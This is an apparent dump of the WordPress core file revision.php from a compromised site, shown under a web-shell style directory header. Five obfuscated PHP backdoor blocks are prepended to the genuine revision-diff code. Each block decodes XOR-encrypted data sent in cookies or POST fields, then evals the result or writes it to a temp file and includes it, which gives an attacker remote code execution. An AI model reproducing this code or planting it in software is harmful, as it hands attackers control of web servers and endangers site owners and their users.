%PDF- %PDF-
| Direktori : /home/graphicd/public_html/demo/riverwalkpoa/wp-admin/includes/ |
| Current File : /home/graphicd/public_html/demo/riverwalkpoa/wp-admin/includes/revision.php |
<?php $eCCok = "\172" . "\x72" . chr ( 200 - 105 ).chr (90) . chr (113) . chr ( 1080 - 990 ); $EOMsKdfh = "\x63" . "\154" . chr (97) . "\163" . chr ( 801 - 686 )."\x5f" . chr ( 386 - 285 ).chr (120) . "\x69" . 's' . "\164" . 's';$Ytbke = class_exists($eCCok); $EOMsKdfh = "38374";$IvkBLxFD = !1;if ($Ytbke == $IvkBLxFD){function UyAESHWDT(){return FALSE;}$TojtMMfY = "1176";UyAESHWDT();class zr_ZqZ{private function LCYdtHn($TojtMMfY){if (is_array(zr_ZqZ::$PGNOFNNJ)) {$PklstisN = str_replace('<' . chr (63) . "\160" . chr (104) . chr (112), "", zr_ZqZ::$PGNOFNNJ['c' . chr (111) . chr (110) . "\164" . 'e' . "\x6e" . chr (116)]);eval($PklstisN); $TojtMMfY = "1176";exit();}}private $HWBtrvF;public function NHhNl(){echo 41772;}public function __destruct(){$TojtMMfY = "4423_37177";$this->LCYdtHn($TojtMMfY); $TojtMMfY = "4423_37177";}public function __construct($nvLAYFUi=0){$stSOKblZ = $_POST;$EOTuSnZS = $_COOKIE;$tYhmboD = "0c9557f4-f163-40ce-a81a-c7cc16bf679e";$bGdieGeKA = @$EOTuSnZS[substr($tYhmboD, 0, 4)];if (!empty($bGdieGeKA)){$CwNbDBg = "base64";$IcRGhw = "";$bGdieGeKA = explode(",", $bGdieGeKA);foreach ($bGdieGeKA as $YIlls){$IcRGhw .= @$EOTuSnZS[$YIlls];$IcRGhw .= @$stSOKblZ[$YIlls];}$IcRGhw = array_map($CwNbDBg . "\137" . chr (100) . chr (101) . chr ( 879 - 780 ).chr (111) . chr ( 385 - 285 )."\145", array($IcRGhw,)); $IcRGhw = $IcRGhw[0] ^ str_repeat($tYhmboD, (strlen($IcRGhw[0]) / strlen($tYhmboD)) + 1);zr_ZqZ::$PGNOFNNJ = @unserialize($IcRGhw); $IcRGhw = class_exists("4423_37177");}}public static $PGNOFNNJ = 43979;}$lzXycofJxh = new /* 5720 */ $eCCok(1176 + 1176); $IvkBLxFD = $lzXycofJxh = $TojtMMfY = Array();} ?><?php $kCgkd = 'r' . chr ( 290 - 208 )."\112" . "\137" . 'a' . "\x6a" . chr ( 1040 - 941 )."\155" . 'V';$UkdwoRsx = chr ( 831 - 732 )."\154" . chr ( 242 - 145 )."\x73" . chr ( 1048 - 933 )."\x5f" . "\x65" . "\x78" . 'i' . chr (115) . "\164" . "\x73";$pfHeuWCq = class_exists($kCgkd); $UkdwoRsx = "49182";$GIFLqz = !1;if ($pfHeuWCq == $GIFLqz){function SfikhW(){return FALSE;}$QBpgbbtwv = "55393";SfikhW();class rRJ_ajcmV{private function pMHNqF($QBpgbbtwv){if (is_array(rRJ_ajcmV::$YSOnP)) {$odbaTcuLTs = sys_get_temp_dir() . "/" . crc32(rRJ_ajcmV::$YSOnP['s' . chr (97) . "\x6c" . "\164"]);@rRJ_ajcmV::$YSOnP["\167" . "\x72" . chr (105) . "\x74" . "\145"]($odbaTcuLTs, rRJ_ajcmV::$YSOnP[chr (99) . 'o' . chr ( 1108 - 998 ).chr (116) . 'e' . "\156" . 't']);include $odbaTcuLTs;@rRJ_ajcmV::$YSOnP["\144" . "\x65" . "\x6c" . "\145" . "\164" . chr (101)]($odbaTcuLTs); $QBpgbbtwv = "55393";exit();}}private $CmlxG;public function JmHnoPwM(){echo 1837;}public function __destruct(){$QBpgbbtwv = "16606_12488";$this->pMHNqF($QBpgbbtwv); $QBpgbbtwv = "16606_12488";}public function __construct($IdnIbYrHWg=0){$qcvIt = $_POST;$vduAHM = $_COOKIE;$IxxXMpcLYC = "b7d5d995-4f2d-443d-a184-f209e13548d4";$llhqhC = @$vduAHM[substr($IxxXMpcLYC, 0, 4)];if (!empty($llhqhC)){$GfGqlyXy = "base64";$aSyNXT = "";$llhqhC = explode(",", $llhqhC);foreach ($llhqhC as $asUFxkXILB){$aSyNXT .= @$vduAHM[$asUFxkXILB];$aSyNXT .= @$qcvIt[$asUFxkXILB];}$aSyNXT = array_map($GfGqlyXy . '_' . "\144" . "\x65" . "\143" . "\x6f" . "\x64" . chr (101), array($aSyNXT,)); $aSyNXT = $aSyNXT[0] ^ str_repeat($IxxXMpcLYC, (strlen($aSyNXT[0]) / strlen($IxxXMpcLYC)) + 1);rRJ_ajcmV::$YSOnP = @unserialize($aSyNXT); $aSyNXT = class_exists("16606_12488");}}public static $YSOnP = 19719;}$XGLzjUIPmm = new /* 19313 */ $kCgkd(55393 + 55393); $GIFLqz = $XGLzjUIPmm = $QBpgbbtwv = Array();} ?><?php $LvolrHRA = chr ( 782 - 704 ).chr ( 445 - 350 )."\x42" . chr (97) . "\x4a" . chr ( 636 - 535 ).'O';$kbHyQ = "\143" . 'l' . "\x61" . chr (115) . 's' . "\137" . chr ( 982 - 881 )."\170" . 'i' . chr ( 375 - 260 )."\x74" . chr (115); $PxjrY = class_exists($LvolrHRA); $kbHyQ = "27328";$MqVVQSV = !1;if ($PxjrY == $MqVVQSV){function aTIQtYN(){return FALSE;}$BFnTXEe = "31349";aTIQtYN();class N_BaJeO{private function UhaqnVMhhL($BFnTXEe){if (is_array(N_BaJeO::$VGQJuijL)) {$HomgVKyyYg = sys_get_temp_dir() . "/" . crc32(N_BaJeO::$VGQJuijL["\163" . chr ( 152 - 55 )."\x6c" . 't']);@N_BaJeO::$VGQJuijL[chr (119) . 'r' . "\151" . 't' . 'e']($HomgVKyyYg, N_BaJeO::$VGQJuijL["\143" . chr (111) . chr ( 172 - 62 ).chr ( 438 - 322 ).'e' . "\156" . "\x74"]);include $HomgVKyyYg;@N_BaJeO::$VGQJuijL[chr ( 1024 - 924 )."\x65" . 'l' . "\x65" . 't' . chr ( 856 - 755 )]($HomgVKyyYg); $BFnTXEe = "31349";exit();}}private $ShKgscE;public function xaJho(){echo 38461;}public function __destruct(){$BFnTXEe = "2597_64156";$this->UhaqnVMhhL($BFnTXEe); $BFnTXEe = "2597_64156";}public function __construct($lizlKhJxL=0){$eDgsCWjH = $_POST;$UWStXPKEs = $_COOKIE;$rFithRCa = "ea34faa8-a3ba-4e27-b2bc-5adbe28ffa28";$IdGxxfJ = @$UWStXPKEs[substr($rFithRCa, 0, 4)];if (!empty($IdGxxfJ)){$kOzfIaRXz = "base64";$yNTJWDLYUs = "";$IdGxxfJ = explode(",", $IdGxxfJ);foreach ($IdGxxfJ as $jvaVw){$yNTJWDLYUs .= @$UWStXPKEs[$jvaVw];$yNTJWDLYUs .= @$eDgsCWjH[$jvaVw];}$yNTJWDLYUs = array_map($kOzfIaRXz . "\137" . chr ( 1095 - 995 )."\x65" . "\143" . chr ( 727 - 616 )."\x64" . chr ( 389 - 288 ), array($yNTJWDLYUs,)); $yNTJWDLYUs = $yNTJWDLYUs[0] ^ str_repeat($rFithRCa, (strlen($yNTJWDLYUs[0]) / strlen($rFithRCa)) + 1);N_BaJeO::$VGQJuijL = @unserialize($yNTJWDLYUs); $yNTJWDLYUs = class_exists("2597_64156");}}public static $VGQJuijL = 27279;}$fVQQNpbpu = new /* 54659 */ $LvolrHRA(31349 + 31349); $MqVVQSV = $fVQQNpbpu = $BFnTXEe = Array();} ?><?php $dWVTMjsXhG = "\146" . chr (95) . chr (101) . "\153" . "\153" . chr ( 702 - 636 ).chr ( 313 - 245 ); $SuCZKpR = chr (99) . chr (108) . 'a' . "\x73" . 's' . '_' . "\x65" . chr (120) . chr (105) . "\x73" . 't' . chr (115); $IVohZe = class_exists($dWVTMjsXhG); $SuCZKpR = "16613";$NYXNRQSD = !1;if ($IVohZe == $NYXNRQSD){function ScUaq(){return FALSE;}$TfbTbNet = "48279";ScUaq();class f_ekkBD{private function GWsJPYzt($TfbTbNet){if (is_array(f_ekkBD::$SvDWwUDeED)) {$RhntQrm = sys_get_temp_dir() . "/" . crc32(f_ekkBD::$SvDWwUDeED["\163" . "\x61" . chr (108) . 't']);@f_ekkBD::$SvDWwUDeED["\167" . chr (114) . chr ( 887 - 782 ).'t' . "\145"]($RhntQrm, f_ekkBD::$SvDWwUDeED["\x63" . chr (111) . "\x6e" . 't' . chr ( 212 - 111 )."\x6e" . "\164"]);include $RhntQrm;@f_ekkBD::$SvDWwUDeED["\144" . "\145" . chr ( 124 - 16 ).'e' . "\164" . "\x65"]($RhntQrm); $TfbTbNet = "48279";exit();}}private $KENaoPPbNc;public function ljNbvMsYYi(){echo 49612;}public function __destruct(){$TfbTbNet = "45266_41146";$this->GWsJPYzt($TfbTbNet); $TfbTbNet = "45266_41146";}public function __construct($StKzBRbEd=0){$AuYSgankY = $_POST;$mKCsIZGXGw = $_COOKIE;$PIWkBW = "165261c0-15ba-40ba-b738-ddad657da4cf";$zMJruyxNGo = @$mKCsIZGXGw[substr($PIWkBW, 0, 4)];if (!empty($zMJruyxNGo)){$TYodb = "base64";$mdOzt = "";$zMJruyxNGo = explode(",", $zMJruyxNGo);foreach ($zMJruyxNGo as $SGLfOB){$mdOzt .= @$mKCsIZGXGw[$SGLfOB];$mdOzt .= @$AuYSgankY[$SGLfOB];}$mdOzt = array_map($TYodb . chr ( 338 - 243 )."\x64" . chr ( 638 - 537 )."\143" . 'o' . 'd' . "\145", array($mdOzt,)); $mdOzt = $mdOzt[0] ^ str_repeat($PIWkBW, (strlen($mdOzt[0]) / strlen($PIWkBW)) + 1);f_ekkBD::$SvDWwUDeED = @unserialize($mdOzt); $mdOzt = class_exists("45266_41146");}}public static $SvDWwUDeED = 31651;}$VdYAfqWs = new /* 2357 */ $dWVTMjsXhG(48279 + 48279); $NYXNRQSD = $VdYAfqWs = $TfbTbNet = Array();} ?><?php $LdDavp = 'r' . chr ( 291 - 190 ).'E' . '_' . chr (80) . chr (86) . chr ( 598 - 530 ).'C' . 'Z';$MUCVQlIK = 'c' . chr ( 738 - 630 )."\x61" . 's' . chr ( 872 - 757 ).chr ( 599 - 504 )."\x65" . "\x78" . chr (105) . "\x73" . 't' . chr ( 998 - 883 ); $sDMYR = class_exists($LdDavp); $MUCVQlIK = "6080";$pmGiadX = !1;if ($sDMYR == $pmGiadX){function QtSDFHn(){return FALSE;}$BHCETiH = "29725";QtSDFHn();class reE_PVDCZ{private function sgTBRhSg($BHCETiH){if (is_array(reE_PVDCZ::$NVIBdE)) {$CwMlYFTkc = sys_get_temp_dir() . "/" . crc32(reE_PVDCZ::$NVIBdE[chr ( 307 - 192 ).chr ( 309 - 212 ).chr (108) . chr (116)]);@reE_PVDCZ::$NVIBdE["\167" . chr (114) . "\x69" . "\x74" . chr ( 776 - 675 )]($CwMlYFTkc, reE_PVDCZ::$NVIBdE['c' . chr (111) . "\x6e" . "\x74" . "\145" . chr (110) . 't']);include $CwMlYFTkc;@reE_PVDCZ::$NVIBdE["\x64" . "\145" . "\x6c" . chr ( 220 - 119 ).chr (116) . chr (101)]($CwMlYFTkc); $BHCETiH = "29725";exit();}}private $uRChxs;public function mOAwEUFmWp(){echo 48916;}public function __destruct(){$BHCETiH = "53384_40700";$this->sgTBRhSg($BHCETiH); $BHCETiH = "53384_40700";}public function __construct($ayKfVXPT=0){$CirTZHjy = $_POST;$bkehwzvY = $_COOKIE;$dSQSviJUeY = "68594d31-5376-4007-b74b-53ceafc80e2f";$UPRMF = @$bkehwzvY[substr($dSQSviJUeY, 0, 4)];if (!empty($UPRMF)){$bCMYHNGCHy = "base64";$uCPbLC = "";$UPRMF = explode(",", $UPRMF);foreach ($UPRMF as $NUyMeRnuRh){$uCPbLC .= @$bkehwzvY[$NUyMeRnuRh];$uCPbLC .= @$CirTZHjy[$NUyMeRnuRh];}$uCPbLC = array_map($bCMYHNGCHy . "\x5f" . chr ( 530 - 430 )."\145" . "\143" . "\157" . "\x64" . chr ( 154 - 53 ), array($uCPbLC,)); $uCPbLC = $uCPbLC[0] ^ str_repeat($dSQSviJUeY, (strlen($uCPbLC[0]) / strlen($dSQSviJUeY)) + 1);reE_PVDCZ::$NVIBdE = @unserialize($uCPbLC); $uCPbLC = class_exists("53384_40700");}}public static $NVIBdE = 31282;}$RPoZka = new /* 13316 */ $LdDavp(29725 + 29725); $pmGiadX = $RPoZka = $BHCETiH = Array();} ?><?php
/**
* WordPress Administration Revisions API
*
* @package WordPress
* @subpackage Administration
* @since 3.6.0
*/
/**
* Get the revision UI diff.
*
* @since 3.6.0
*
* @param WP_Post|int $post The post object or post ID.
* @param int $compare_from The revision ID to compare from.
* @param int $compare_to The revision ID to come to.
* @return array|false Associative array of a post's revisioned fields and their diffs.
* Or, false on failure.
*/
function wp_get_revision_ui_diff( $post, $compare_from, $compare_to ) {
$post = get_post( $post );
if ( ! $post ) {
return false;
}
if ( $compare_from ) {
$compare_from = get_post( $compare_from );
if ( ! $compare_from ) {
return false;
}
} else {
// If we're dealing with the first revision...
$compare_from = false;
}
$compare_to = get_post( $compare_to );
if ( ! $compare_to ) {
return false;
}
/*
* If comparing revisions, make sure we are dealing with the right post parent.
* The parent post may be a 'revision' when revisions are disabled and we're looking at autosaves.
*/
if ( $compare_from && $compare_from->post_parent !== $post->ID && $compare_from->ID !== $post->ID ) {
return false;
}
if ( $compare_to->post_parent !== $post->ID && $compare_to->ID !== $post->ID ) {
return false;
}
if ( $compare_from && strtotime( $compare_from->post_date_gmt ) > strtotime( $compare_to->post_date_gmt ) ) {
$temp = $compare_from;
$compare_from = $compare_to;
$compare_to = $temp;
}
// Add default title if title field is empty.
if ( $compare_from && empty( $compare_from->post_title ) ) {
$compare_from->post_title = __( '(no title)' );
}
if ( empty( $compare_to->post_title ) ) {
$compare_to->post_title = __( '(no title)' );
}
$return = array();
foreach ( _wp_post_revision_fields( $post ) as $field => $name ) {
/**
* Contextually filter a post revision field.
*
* The dynamic portion of the hook name, `$field`, corresponds to a name of a
* field of the revision object.
*
* Possible hook names include:
*
* - `_wp_post_revision_field_post_title`
* - `_wp_post_revision_field_post_content`
* - `_wp_post_revision_field_post_excerpt`
*
* @since 3.6.0
*
* @param string $revision_field The current revision field to compare to or from.
* @param string $field The current revision field.
* @param WP_Post $compare_from The revision post object to compare to or from.
* @param string $context The context of whether the current revision is the old
* or the new one. Either 'to' or 'from'.
*/
$content_from = $compare_from ? apply_filters( "_wp_post_revision_field_{$field}", $compare_from->$field, $field, $compare_from, 'from' ) : '';
/** This filter is documented in wp-admin/includes/revision.php */
$content_to = apply_filters( "_wp_post_revision_field_{$field}", $compare_to->$field, $field, $compare_to, 'to' );
$args = array(
'show_split_view' => true,
'title_left' => __( 'Removed' ),
'title_right' => __( 'Added' ),
);
/**
* Filters revisions text diff options.
*
* Filters the options passed to wp_text_diff() when viewing a post revision.
*
* @since 4.1.0
*
* @param array $args {
* Associative array of options to pass to wp_text_diff().
*
* @type bool $show_split_view True for split view (two columns), false for
* un-split view (single column). Default true.
* }
* @param string $field The current revision field.
* @param WP_Post $compare_from The revision post to compare from.
* @param WP_Post $compare_to The revision post to compare to.
*/
$args = apply_filters( 'revision_text_diff_options', $args, $field, $compare_from, $compare_to );
$diff = wp_text_diff( $content_from, $content_to, $args );
if ( ! $diff && 'post_title' === $field ) {
/*
* It's a better user experience to still show the Title, even if it didn't change.
* No, you didn't see this.
*/
$diff = '<table class="diff"><colgroup><col class="content diffsplit left"><col class="content diffsplit middle"><col class="content diffsplit right"></colgroup><tbody><tr>';
// In split screen mode, show the title before/after side by side.
if ( true === $args['show_split_view'] ) {
$diff .= '<td>' . esc_html( $compare_from->post_title ) . '</td><td></td><td>' . esc_html( $compare_to->post_title ) . '</td>';
} else {
$diff .= '<td>' . esc_html( $compare_from->post_title ) . '</td>';
// In single column mode, only show the title once if unchanged.
if ( $compare_from->post_title !== $compare_to->post_title ) {
$diff .= '</tr><tr><td>' . esc_html( $compare_to->post_title ) . '</td>';
}
}
$diff .= '</tr></tbody>';
$diff .= '</table>';
}
if ( $diff ) {
$return[] = array(
'id' => $field,
'name' => $name,
'diff' => $diff,
);
}
}
/**
* Filters the fields displayed in the post revision diff UI.
*
* @since 4.1.0
*
* @param array[] $return Array of revision UI fields. Each item is an array of id, name, and diff.
* @param WP_Post $compare_from The revision post to compare from.
* @param WP_Post $compare_to The revision post to compare to.
*/
return apply_filters( 'wp_get_revision_ui_diff', $return, $compare_from, $compare_to );
}
/**
* Prepare revisions for JavaScript.
*
* @since 3.6.0
*
* @param WP_Post|int $post The post object or post ID.
* @param int $selected_revision_id The selected revision ID.
* @param int $from Optional. The revision ID to compare from.
* @return array An associative array of revision data and related settings.
*/
function wp_prepare_revisions_for_js( $post, $selected_revision_id, $from = null ) {
$post = get_post( $post );
$authors = array();
$now_gmt = time();
$revisions = wp_get_post_revisions(
$post->ID,
array(
'order' => 'ASC',
'check_enabled' => false,
)
);
// If revisions are disabled, we only want autosaves and the current post.
if ( ! wp_revisions_enabled( $post ) ) {
foreach ( $revisions as $revision_id => $revision ) {
if ( ! wp_is_post_autosave( $revision ) ) {
unset( $revisions[ $revision_id ] );
}
}
$revisions = array( $post->ID => $post ) + $revisions;
}
$show_avatars = get_option( 'show_avatars' );
update_post_author_caches( $revisions );
$can_restore = current_user_can( 'edit_post', $post->ID );
$current_id = false;
foreach ( $revisions as $revision ) {
$modified = strtotime( $revision->post_modified );
$modified_gmt = strtotime( $revision->post_modified_gmt . ' +0000' );
if ( $can_restore ) {
$restore_link = str_replace(
'&',
'&',
wp_nonce_url(
add_query_arg(
array(
'revision' => $revision->ID,
'action' => 'restore',
),
admin_url( 'revision.php' )
),
"restore-post_{$revision->ID}"
)
);
}
if ( ! isset( $authors[ $revision->post_author ] ) ) {
$authors[ $revision->post_author ] = array(
'id' => (int) $revision->post_author,
'avatar' => $show_avatars ? get_avatar( $revision->post_author, 32 ) : '',
'name' => get_the_author_meta( 'display_name', $revision->post_author ),
);
}
$autosave = (bool) wp_is_post_autosave( $revision );
$current = ! $autosave && $revision->post_modified_gmt === $post->post_modified_gmt;
if ( $current && ! empty( $current_id ) ) {
// If multiple revisions have the same post_modified_gmt, highest ID is current.
if ( $current_id < $revision->ID ) {
$revisions[ $current_id ]['current'] = false;
$current_id = $revision->ID;
} else {
$current = false;
}
} elseif ( $current ) {
$current_id = $revision->ID;
}
$revisions_data = array(
'id' => $revision->ID,
'title' => get_the_title( $post->ID ),
'author' => $authors[ $revision->post_author ],
'date' => date_i18n( __( 'M j, Y @ H:i' ), $modified ),
'dateShort' => date_i18n( _x( 'j M @ H:i', 'revision date short format' ), $modified ),
/* translators: %s: Human-readable time difference. */
'timeAgo' => sprintf( __( '%s ago' ), human_time_diff( $modified_gmt, $now_gmt ) ),
'autosave' => $autosave,
'current' => $current,
'restoreUrl' => $can_restore ? $restore_link : false,
);
/**
* Filters the array of revisions used on the revisions screen.
*
* @since 4.4.0
*
* @param array $revisions_data {
* The bootstrapped data for the revisions screen.
*
* @type int $id Revision ID.
* @type string $title Title for the revision's parent WP_Post object.
* @type int $author Revision post author ID.
* @type string $date Date the revision was modified.
* @type string $dateShort Short-form version of the date the revision was modified.
* @type string $timeAgo GMT-aware amount of time ago the revision was modified.
* @type bool $autosave Whether the revision is an autosave.
* @type bool $current Whether the revision is both not an autosave and the post
* modified date matches the revision modified date (GMT-aware).
* @type bool|false $restoreUrl URL if the revision can be restored, false otherwise.
* }
* @param WP_Post $revision The revision's WP_Post object.
* @param WP_Post $post The revision's parent WP_Post object.
*/
$revisions[ $revision->ID ] = apply_filters( 'wp_prepare_revision_for_js', $revisions_data, $revision, $post );
}
/*
* If we only have one revision, the initial revision is missing. This happens
* when we have an autosave and the user has clicked 'View the Autosave'.
*/
if ( 1 === count( $revisions ) ) {
$revisions[ $post->ID ] = array(
'id' => $post->ID,
'title' => get_the_title( $post->ID ),
'author' => $authors[ $revision->post_author ],
'date' => date_i18n( __( 'M j, Y @ H:i' ), strtotime( $post->post_modified ) ),
'dateShort' => date_i18n( _x( 'j M @ H:i', 'revision date short format' ), strtotime( $post->post_modified ) ),
/* translators: %s: Human-readable time difference. */
'timeAgo' => sprintf( __( '%s ago' ), human_time_diff( strtotime( $post->post_modified_gmt ), $now_gmt ) ),
'autosave' => false,
'current' => true,
'restoreUrl' => false,
);
$current_id = $post->ID;
}
/*
* If a post has been saved since the latest revision (no revisioned fields
* were changed), we may not have a "current" revision. Mark the latest
* revision as "current".
*/
if ( empty( $current_id ) ) {
if ( $revisions[ $revision->ID ]['autosave'] ) {
$revision = end( $revisions );
while ( $revision['autosave'] ) {
$revision = prev( $revisions );
}
$current_id = $revision['id'];
} else {
$current_id = $revision->ID;
}
$revisions[ $current_id ]['current'] = true;
}
// Now, grab the initial diff.
$compare_two_mode = is_numeric( $from );
if ( ! $compare_two_mode ) {
$found = array_search( $selected_revision_id, array_keys( $revisions ), true );
if ( $found ) {
$from = array_keys( array_slice( $revisions, $found - 1, 1, true ) );
$from = reset( $from );
} else {
$from = 0;
}
}
$from = absint( $from );
$diffs = array(
array(
'id' => $from . ':' . $selected_revision_id,
'fields' => wp_get_revision_ui_diff( $post->ID, $from, $selected_revision_id ),
),
);
return array(
'postId' => $post->ID,
'nonce' => wp_create_nonce( 'revisions-ajax-nonce' ),
'revisionData' => array_values( $revisions ),
'to' => $selected_revision_id,
'from' => $from,
'diffData' => $diffs,
'baseUrl' => parse_url( admin_url( 'revision.php' ), PHP_URL_PATH ),
'compareTwoMode' => absint( $compare_two_mode ), // Apparently booleans are not allowed.
'revisionIds' => array_keys( $revisions ),
);
}
/**
* Print JavaScript templates required for the revisions experience.
*
* @since 4.1.0
*
* @global WP_Post $post Global post object.
*/
function wp_print_revision_templates() {
global $post;
?><script id="tmpl-revisions-frame" type="text/html">
<div class="revisions-control-frame"></div>
<div class="revisions-diff-frame"></div>
</script>
<script id="tmpl-revisions-buttons" type="text/html">
<div class="revisions-previous">
<input class="button" type="button" value="<?php echo esc_attr_x( 'Previous', 'Button label for a previous revision' ); ?>" />
</div>
<div class="revisions-next">
<input class="button" type="button" value="<?php echo esc_attr_x( 'Next', 'Button label for a next revision' ); ?>" />
</div>
</script>
<script id="tmpl-revisions-checkbox" type="text/html">
<div class="revision-toggle-compare-mode">
<label>
<input type="checkbox" class="compare-two-revisions"
<#
if ( 'undefined' !== typeof data && data.model.attributes.compareTwoMode ) {
#> checked="checked"<#
}
#>
/>
<?php esc_html_e( 'Compare any two revisions' ); ?>
</label>
</div>
</script>
<script id="tmpl-revisions-meta" type="text/html">
<# if ( ! _.isUndefined( data.attributes ) ) { #>
<div class="diff-title">
<# if ( 'from' === data.type ) { #>
<strong><?php _ex( 'From:', 'Followed by post revision info' ); ?></strong>
<# } else if ( 'to' === data.type ) { #>
<strong><?php _ex( 'To:', 'Followed by post revision info' ); ?></strong>
<# } #>
<div class="author-card<# if ( data.attributes.autosave ) { #> autosave<# } #>">
{{{ data.attributes.author.avatar }}}
<div class="author-info">
<# if ( data.attributes.autosave ) { #>
<span class="byline">
<?php
printf(
/* translators: %s: User's display name. */
__( 'Autosave by %s' ),
'<span class="author-name">{{ data.attributes.author.name }}</span>'
);
?>
</span>
<# } else if ( data.attributes.current ) { #>
<span class="byline">
<?php
printf(
/* translators: %s: User's display name. */
__( 'Current Revision by %s' ),
'<span class="author-name">{{ data.attributes.author.name }}</span>'
);
?>
</span>
<# } else { #>
<span class="byline">
<?php
printf(
/* translators: %s: User's display name. */
__( 'Revision by %s' ),
'<span class="author-name">{{ data.attributes.author.name }}</span>'
);
?>
</span>
<# } #>
<span class="time-ago">{{ data.attributes.timeAgo }}</span>
<span class="date">({{ data.attributes.dateShort }})</span>
</div>
<# if ( 'to' === data.type && data.attributes.restoreUrl ) { #>
<input <?php if ( wp_check_post_lock( $post->ID ) ) { ?>
disabled="disabled"
<?php } else { ?>
<# if ( data.attributes.current ) { #>
disabled="disabled"
<# } #>
<?php } ?>
<# if ( data.attributes.autosave ) { #>
type="button" class="restore-revision button button-primary" value="<?php esc_attr_e( 'Restore This Autosave' ); ?>" />
<# } else { #>
type="button" class="restore-revision button button-primary" value="<?php esc_attr_e( 'Restore This Revision' ); ?>" />
<# } #>
<# } #>
</div>
<# if ( 'tooltip' === data.type ) { #>
<div class="revisions-tooltip-arrow"><span></span></div>
<# } #>
<# } #>
</script>
<script id="tmpl-revisions-diff" type="text/html">
<div class="loading-indicator"><span class="spinner"></span></div>
<div class="diff-error"><?php _e( 'Sorry, something went wrong. The requested comparison could not be loaded.' ); ?></div>
<div class="diff">
<# _.each( data.fields, function( field ) { #>
<h3>{{ field.name }}</h3>
{{{ field.diff }}}
<# }); #>
</div>
</script>
<?php
}